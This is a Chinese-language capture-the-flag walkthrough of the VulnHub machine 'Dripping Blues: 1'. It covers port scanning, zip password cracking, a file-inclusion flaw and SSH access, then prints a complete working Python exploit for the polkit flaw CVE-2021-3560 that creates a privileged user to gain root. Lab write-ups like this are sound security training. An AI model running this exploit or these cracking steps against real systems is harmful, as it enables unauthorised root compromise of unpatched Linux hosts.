準備:
攻擊機:虛擬機器器kali、本機win10。
靶機:DRIPPING BLUES: 1,網段地址我這裡設定的橋接,所以與本機電腦在同一網段,下載地址:https://download.vulnhub.com/drippingblues/drippingblues.ova,下載後直接vm開啟即可。
知識點:CVE-2021-3560漏洞利用(polkit漏洞)、fcrackzip爆破zip檔案密碼、檔案包含。
資訊收集:
通過nmap掃描下網段內的存活主機地址,確定下靶機的地址:nmap -sn 192.168.4.0/24,獲得靶機地址:192.168.4.146
掃描下埠對應的服務:nmap -T4 -sV -p- -A 192.168.4.146,顯示開放了21、22、80埠,開放了ftp服務、ssh服務、web服務。
嘗試存取下ftp服務,發現不需要賬戶名和密碼,可以直接登入,在ftp服務中發下一個respectmydrip.zip檔案,下載下來進行解壓,發現需要密碼。
檢視80埠,顯示是一串字串和兩個賬戶名:travisscott & thugger,存取下robots.txt(nmap掃描時已獲得),發下兩個檔案:dripisreal.txt和/etc/dripispowerful.html。
存取下dripisreal.txt和/etc/dripispowerful.html,在dripisreal.txt檔案獲得提示資訊,但是/etc/dripispowerful.html檔案無法存取,猜測存在檔案包含漏洞。
目錄掃描:
使用dirmap進行目錄掃描,獲得index.php和robots.txt(這個上面已知)
fcrackzip密碼破解:
使用fcrackzip進行密碼爆破,命令:fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u respectmydrip.zip,獲得密碼:072528035。
解壓之後獲得respectmydrip.txt檔案和secret.zip檔案,respectmydrip.txt檔案是一條資訊:just focus on "drip"。secret.zip檔案同樣需要密碼,但是這個未破解出來。
檔案包含漏洞:
存取index.php頁面,想到提示:just focus on "drip",猜測存在引數drip,存取下/etc/dripispowerful.html,成功獲得密碼:imdrippinbiatch。
獲取shell:
使用賬戶名和密碼:thugger/imdrippinbiatch進行ssh連線,成功獲取shell許可權。
在當前賬戶下發現存在user.txt檔案,讀取該檔案獲取第一個flag。
提權:
輸入命令:sudo -l檢視下當前可以使用的特權命令有哪些,顯示不存在。
檢視下具有root許可權的檔案,命令:find / -perm -4000 -type f 2>/dev/null,發現存在一個/usr/lib/policykit-1/polkit-agent-helper-1(emmm,真巧,在上一篇vulnhub靶場之CORROSION: 2剛好也遇到了這個漏洞:CVE-2021-4034)
這個網站:https://github.com/arthepsy/CVE-2021-4034,下載下來poc在kali上進行進行gcc編譯,然後上傳到靶機進行執行,但是發現靶機缺少gcc無法執行,那隻能找下polkit其餘漏洞了。
在github上查詢下polkit的可利用的exp,發現主要是兩個,一個是CVE-2021-3560,一個是CVE-2021-4034(這個上面已經測試過,因缺少gcc無法執行,所以那就測試下CVE-2021-3560)
在這個網站:https://github.com/Almorabea/Polkit-exploit下載下來可利用的exp(下載很緩慢,將程式碼複製下來也可以使用),並上傳到靶機賦予執行許可權,然後執行獲得root許可權。
import os
import sys
import time
import subprocess
import random
import pwd
print ("**************")
print("Exploit: Privilege escalation with polkit - CVE-2021-3560")
print("Exploit code written by Ahmad Almorabea @almorabea")
print("Original exploit author: Kevin Backhouse ")
print("For more details check this out: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/")
print ("**************")
print("[+] Starting the Exploit ")
time.sleep(3)
check = True
counter = 0
while check:
counter = counter +1
process = subprocess.Popen(['dbus-send','--system','--dest=org.freedesktop.Accounts','--type=method_call','--print-reply','/org/freedesktop/Accounts','org.freedesktop.Accounts.CreateUser','string:ahmed','string:"Ahmad Almorabea','int32:1'])
try:
#print('1 - Running in process', process.pid)
Random = random.uniform(0.006,0.009)
process.wait(timeout=Random)
process.kill()
except subprocess.TimeoutExpired:
#print('Timed out - killing', process.pid)
process.kill()
user = subprocess.run(['id', 'ahmed'], stdout=subprocess.PIPE).stdout.decode('utf-8')
if user.find("uid") != -1:
print("[+] User Created with the name of ahmed")
print("[+] Timed out at: "+str(Random))
check =False
break
if counter > 2000:
print("[-] Couldn't add the user, try again it may work")
sys.exit(0)
for i in range(200):
#print(i)
uid = "/org/freedesktop/Accounts/User"+str(pwd.getpwnam('ahmed').pw_uid)
#In case you need to put a password un-comment the code below and put your password after string:yourpassword'
password = "string:"
#res = subprocess.run(['openssl', 'passwd','-5',password], stdout=subprocess.PIPE).stdout.decode('utf-8')
#password = f"string:{res.rstrip()}"
process = subprocess.Popen(['dbus-send','--system','--dest=org.freedesktop.Accounts','--type=method_call','--print-reply',uid,'org.freedesktop.Accounts.User.SetPassword',password,'string:GoldenEye'])
try:
#print('1 - Running in process', process.pid)
Random = random.uniform(0.006,0.009)
process.wait(timeout=Random)
process.kill()
except subprocess.TimeoutExpired:
#print('Timed out - killing', process.pid)
process.kill()
print("[+] Timed out at: " + str(Random))
print("[+] Exploit Completed, Your new user is 'Ahmed' just log into it like, 'su ahmed', and then 'sudo su' to root ")
p = subprocess.call("(su ahmed -c 'sudo su')", shell=True)
使用root賬戶在/root下成功讀取flag資訊。
閒著無聊,使用root賬戶安裝了gcc,然後切換回了thugger賬戶,執行CVE-2021-4034的exp,此時也可以正常獲取到root許可權。